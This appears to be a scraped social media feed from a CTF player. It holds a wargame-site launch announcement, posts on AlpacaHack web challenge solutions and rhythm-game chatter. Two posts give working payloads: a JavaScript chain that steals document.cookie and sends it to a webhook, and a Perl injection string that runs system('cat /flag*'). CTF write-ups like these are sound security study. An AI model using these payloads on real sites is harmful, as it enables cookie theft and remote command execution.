icesfont

Hello! We’ve just launched a new wargame site called damn vulnerable web! It consists only of web challenges, primarily designed for intermediate to advanced players rather than beginners. We hope this wargame helps more people gain deeper and broader knowledge in web hacking :) For now, we’re planning to accept only 300 users initially for open beta testing and capacity checks. Starting from this tweet, we’ll gradually increase the number of allowed sign-ups each week. Your interest and support will be a huge help to our future activities We’ll do our best to deliver even better work going forward. Thank you! Wargame site: wargame.rewritelab.org Join our Discord: discord.gg/wYAm2n4M4J

x = open("/"); setTimeout(() => { x.history.pushState(1,1,"/cookie"); setTimeout(() => { x.location = "javascript:'zzz'"; setTimeout(() => { location = `webhook?${encodeURIComponent(x.document.cookie)}`; }, 500); }, 500); }, 500); (this wasn't intended)

For #AlpacaHack disconnection-revenge, it was possible to create a new document based on /cookie using history.replaceState/pushState and a javascript string URI navigation as per #javascript_urls" target="_blank" rel="nofollow noopener">chromium.googlesource.com/chromium/src/+…

alpacahack round 7 web: the challenges are really nice :) if my soln is unintended + another revenge is released i cant solve since i need to sleep, but i hope its intended

For the #AlpacaHack cowsay challenge, \xff made the border `--` instead of `-...` (until the length of the msg) which is treated as a postdecrement by perl, so u could get valid syntax with ?message[]=-f&message[]=x&message[]=1;system("cat /flag*");$x%23%FF :)

this is a dire situation

it crashes whenever everyone in the room gets at least FR lol

if u were playing sayonara hatsukoi arcaea link play with someone called IcesFont their game crashed WHY

please i am a human twitter please